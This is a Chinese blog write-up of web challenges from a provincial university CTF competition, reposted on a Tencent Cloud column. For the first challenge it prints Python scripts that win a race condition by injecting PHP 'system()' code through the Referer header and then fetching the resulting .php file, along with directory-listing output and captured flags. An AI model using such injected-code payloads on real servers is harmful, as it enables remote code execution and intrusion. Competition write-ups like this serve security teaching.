前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >第五届浙江省大学生网络与信息安全竞赛-技能挑战赛Web Writeup

第五届浙江省大学生网络与信息安全竞赛-技能挑战赛Web Writeup

作者头像
ek1ng
发布2022-09-29 11:34:04
3300
发布2022-09-29 11:34:04
举报
文章被收录于专栏:ek1ng的技术小站

买买买01

条件竞争,当时没思考清楚的问题是,我知道通过条件竞争可以短时间的在系统上有一个.txt.php文件,但是没想明白怎么去让这个php文件被解析,因为file_get_contents这个函数只能读取文件内容但是却不会解析。其实只要直接访问就行。。。。

多线程也行,同时运行俩python文件也行。

代码语言:javascript
复制
import requests
while 1:
    response = requests.get(
        "http://1.14.97.218:21715/e7a1b1b1e092b53be5fa11394bbed8fb/e7a1b1b1e092b53be5fa11394bbed8fb.txt2.php")
    if response.status_code != 404:
        print(response.text)
代码语言:javascript
复制
import requests
while 1:
    # res = requests.get("http://1.14.97.218:21715/index.php?action=copy", headers={"referer": "<?php system('ls /');?>"})
    res = requests.get("http://1.14.97.218:21715/index.php?action=copy", headers={"referer": "<?php system('cat /fla444444444444g');?>"})
    # print(res.text)
代码语言:javascript
复制
competebin
boot
dev
etc
fla444444444444g
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
代码语言:javascript
复制
competeDASCTF{43378609768205435621416258245141}

nisc_easyweb

这个电脑没装扫描器省赛又不让上网。。。。所以根本就没发现/robots.txt

纯傻逼题目。。。

代码语言:javascript
复制
http://1.14.97.218:27359/test_api.php?i=FlagInHere

DASCTF{84772015113998304475018439433695}

js小游戏

f12一看index.js,base64解码就行

学生管理系统

注册账号就有Flag,可能是非预期吧

感觉预赛的时候有点手忙脚乱,继续沉淀。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月17日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 买买买01
  • nisc_easyweb
  • js小游戏
  • 学生管理系统
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档